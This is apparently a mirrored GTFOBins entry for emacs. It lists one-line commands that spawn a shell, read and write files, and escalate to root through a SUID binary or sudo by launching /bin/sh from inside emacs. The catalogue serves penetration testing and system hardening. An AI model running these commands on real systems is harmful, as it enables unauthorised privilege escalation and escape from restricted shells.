mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
17 lines
336 B
Markdown
17 lines
336 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: emacs -Q -nw --eval '(term "/bin/sh")'
|
|
file-write:
|
|
- code: |
|
|
emacs file_to_write
|
|
DATA
|
|
C-x C-s
|
|
file-read:
|
|
- code: emacs file_to_read
|
|
suid:
|
|
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
|
sudo:
|
|
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
|
---
|